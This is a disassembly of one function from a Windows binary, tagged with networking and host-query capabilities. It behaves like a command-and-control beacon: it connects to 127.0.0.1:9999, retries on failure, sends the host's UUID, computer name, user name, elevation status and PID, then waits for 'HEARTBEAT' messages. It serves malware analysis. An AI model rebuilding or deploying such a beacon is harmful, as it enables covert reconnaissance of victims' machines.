Function at 0x140001c20
Capabilities:
Connect socket
Convert ip address from string
Get hostname
Get session user name
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1380]
mov eax, 0x1480
call fcn.140006450
sub rsp, rax
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1370], rax
xor r14d, r14d
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x370]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rbp + 0xc0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001ce3
lea rdx, str.WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004790
mov rcx, rax
lea rdx, [0x140004970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x1370]
xor rcx, rsp
call fcn.1400053b0
lea r11, [rsp + 0x1480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r8d, r8d
mov edx, 1
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x140001d34
lea rdx, str.Socket_creation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004790
mov rcx, rax
lea rdx, [0x140004970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001cae
mov word [rbp + 0x20], bx
lea r8, [rbp + 0x24]
lea rdx, str.127.0.0.1
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, 0x270f
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x22], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
movabs rbx, 0x7fffffffffffffff
cmp eax, 0xffffffff
jne 0x140001f0e
movabs rdi, 0x12a05f200
movabs r15, 0xb2f4fc0794908cf3
movabs r12, 0x4e94914f0000
movabs r13, 0x431bde82d7b634db
nop dword [rax + rax]
lea rdx, str.Connection_failed._Retrying_in_5_seconds...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004790
mov rcx, rax
lea rdx, [0x140004970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140001290
mov rax, qword [rsp + 0x78]
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x140001df6
add rdi, rax
jmp 0x140001e00
mov rdi, rbx
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x140001e21
imul rax, rcx, 0x64
jmp 0x140001e90
cmp rbx, 0x16e3600
jne 0x140001e75
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140001e90
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140001ede
mov rcx, rdi
sub rcx, rax
cmp rcx, r12
jl 0x140001eaf
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140001e00
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140001ed2
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140001e00
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
movabs rbx, 0x7fffffffffffffff
movabs rdi, 0x12a05f200
je 0x140001db0
lea rdx, str.Connected_to_server.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004790
mov rcx, rax
lea rdx, [0x140004970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x20]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rsp + 0x78], r14
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x20]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r14
mov rdx, qword [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140001f70
lea rcx, [rbp + 0x70]
call fcn.140004bf0
lea rcx, [rsp + 0x78]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
nop
mov dword [rbp - 0x68], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], r14
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001fc0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x50]
call fcn.140004bf0
nop
mov dword [rbp - 0x68], 0x101
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x260]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r14
lea rax, [rbp + 0x260]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140002010
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x30]
call fcn.140004bf0
nop
mov qword [rsp + 0x78], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x78]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140002052
xor r12b, r12b
jmp 0x14000209a
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x68]
mov edx, socket
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x78]
test eax, eax
jne 0x14000208c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r12b, r12b
jmp 0x14000209a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp - 0x68], 0
setne r12b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r13d, eax
mov rcx, rbx
mov r14, qword [rbp + 0x80]
sub rcx, r14
cmp rcx, 6
jb 0x1400030fc
lea r15, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova r15, qword [rbp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rsi, [r14 + 6]
mov ebx, recv
lea rdi, [rbp - 0x20]
movabs rax, 0x8000000000000000
mov ecx, socket
cmp rsi, rbx
jbe 0x140002172
mov rbx, rsi
or rbx, 0xf
movabs rdx, 0x7fffffffffffffff
cmp rbx, rdx
jbe 0x140002133
mov rbx, rdx
add rax, 0x27
mov rcx, rax
call fcn.140005670
test rax, rax
je 0x14000215f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000216e
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002147
xor edi, edi
jmp 0x14000216e
cmp rcx, 0x1000
jb 0x140002166
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400030e4
jmp 0x140002118
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005670
mov rdi, rax
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rbx
mov ecx, dword [str.UUID:]
mov dword [rdi], ecx
movzx ecx, word [0x140007720]
mov word [rdi + 4], cx
lea rcx, [rdi + 6]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 1
lea rdx, [0x140007718]
lea rcx, [rbp - 0x20]
call fcn.1400043b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor r8d, r8d
mov qword [rbp - 0x50], r8
mov qword [rbp - 0x48], r8
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r8
mov qword [rax + 0x18], recv
mov byte [rax], r8b
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140002227
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000221f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000221f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
xor r8d, r8d
movdqa xmm0, xmmword [0x140007840]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp + 0x60]
sub rax, rsi
cmp rax, 0xf
jb 0x140003102
lea r15, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r15, qword [rbp + 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea r14, [rsi + 0xf]
mov ebx, recv
lea rdi, [rsp + 0x78]
cmp r14, rbx
jbe 0x140002303
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400022c3
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005670
test rax, rax
je 0x14000246c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400022fe
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400022de
mov rdi, r8
jmp 0x1400022fe
cmp rcx, 0x1000
jb 0x1400022f6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400030ea
jmp 0x1400022a4
call fcn.140005670
mov rdi, rax
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], rbx
movsd xmm0, qword [str.Computer_Name:]
movsd qword [rdi], xmm0
mov ecx, dword [0x140007730]
mov dword [rdi + 8], ecx
movzx eax, word [0x140007734]
mov word [rdi + 0xc], ax
movzx eax, byte [0x140007736]
mov byte [rdi + 0xe], al
lea rcx, [rdi + 0xf]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 1
lea rdx, [0x140007718]
lea rcx, [rsp + 0x78]
call fcn.1400043b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rbp - 0x40]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 0xf
cmova r9, rdi
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
movq rsi, xmm1
cmp rsi, rax
ja 0x1400023e5
lea rax, [rsi + rcx]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x1400023fe
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140004e60
mov r14, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x40]
cmp r14, 0xf
jbe 0x140002439
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140002430
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002430
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400056ac
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002478
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002473
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002473
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp + 0x40]
sub rax, rsi
cmp rax, 0xa
jb 0x140003108
lea r15, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova r15, qword [rbp + 0x30]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea r14, [rsi + 0xa]
mov ebx, recv
lea rdi, [rsp + 0x78]
cmp r14, rbx
jbe 0x140002542
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002503
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005670
test rax, rax
je 0x140002697
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000253d
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000251d
xor edi, edi
jmp 0x14000253d
cmp rcx, 0x1000
jb 0x140002535
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400030f0
jmp 0x1400024e4
call fcn.140005670
mov rdi, rax
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], rbx
movsd xmm0, qword [str.Username:]
movsd qword [rdi], xmm0
movzx ecx, word [0x140007740]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 1
lea rdx, [0x140007718]
lea rcx, [rsp + 0x78]
call fcn.1400043b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], r15b
lea r9, [rbp - 0x40]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 0xf
cmova r9, rdi
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
movq rsi, xmm1
cmp rsi, rax
ja 0x140002610
lea rax, [rcx + rsi]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], r15b
jmp 0x140002629
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140004e60
mov r14, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x40]
cmp r14, 0xf
jbe 0x140002664
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000265b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000265b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400056ac
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400026a3
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000269e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000269e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
lea rax, [0x140007744]
lea rdx, [0x140007748]
test r12b, r12b
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400026d0
lea rcx, [rsp + 0x38]
call fcn.140004bf0
nop
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
sub rax, r8
mov r14d, recv
lea rsi, str.UAC_Enabled:
cmp rax, r14
jb 0x140002783
lea rax, [r8 + 0xd]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x38]
lea rax, [0x14000775d]
cmp rax, rbx
jbe 0x140002746
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140002746
cmp rbx, rsi
ja 0x14000273e
mov rdi, r15
jmp 0x140002749
mov rdi, rbx
sub rdi, rsi
jmp 0x140002749
mov rdi, r14
lea rcx, [rbx + 0xd]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 0xd]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x38]
jmp 0x14000279a
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.1400051d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140007718]
lea rcx, [rsp + 0x78]
call fcn.1400043b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rbp - 0x40]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 0xf
cmova r9, rdi
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
movq rsi, xmm1
cmp rsi, rax
ja 0x140002861
lea rax, [rcx + rsi]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x14000287a
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140004e60
mov r14, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x40]
cmp r14, 0xf
jbe 0x1400028b5
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400028ac
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400056ac
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400028f4
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
movdqa xmm0, xmmword [0x140007840]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002946
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
mov edx, r13d
lea rcx, [rsp + 0x58]
call fcn.1400045f0
nop
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
sub rax, r8
mov r14d, 5
lea rsi, str.PID:
cmp rax, r14
jb 0x1400029f2
lea rax, [r8 + 5]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x58]
lea rax, [0x140007765]
cmp rax, rbx
jbe 0x1400029b5
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400029b5
cmp rbx, rsi
ja 0x1400029ad
mov rdi, r15
jmp 0x1400029b8
mov rdi, rbx
sub rdi, rsi
jmp 0x1400029b8
mov rdi, r14
lea rcx, [rbx + 5]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 5]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
jmp 0x140002a09
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.1400051d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140007718]
lea rcx, [rsp + 0x78]
call fcn.1400043b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rbp - 0x40]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 0xf
cmova r9, rdi
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
movq rsi, xmm1
cmp rsi, rax
ja 0x140002ad0
lea rax, [rcx + rsi]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140002ae9
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140004e60
mov r14, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x40]
cmp r14, 0xf
jbe 0x140002b24
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140002b1b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400056ac
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002b63
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
movdqa xmm0, xmmword [0x140007840]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002bb5
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x90]
call fcn.1400016b0
nop
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
xor r9d, r9d
mov r8d, dword [rbp + 0xa0]
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
movabs rdi, 0x4145425452414548
nop
xor r9d, r9d
mov r8d, 0xfff
lea rdx, [rbp + 0x370]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002c00
cdqe
cmp rax, 0x1000
jae 0x1400030f6
mov byte [rbp + rax + 0x370], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rax, [rbp + 0x370]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002c50
lea rdx, [rbp + 0x370]
lea rcx, [rbp]
call fcn.140004bf0
nop
lea rax, [rbp]
mov rcx, qword [rbp]
mov r9, qword [rbp + 0x18]
cmp r9, 0xf
cmova rax, rcx
mov r8, qword [rbp + 0x10]
cmp r8, 9
jne 0x140002cd1
cmp qword [rax], rdi
jne 0x140002cd1
cmp byte [rax + 8], 0x54
jne 0x140002cd1
cmp r9, 0xf
jbe 0x140002c00
lea rdx, [r9 + 1]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140002cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030d7
call fcn.1400056ac
jmp 0x140002c00
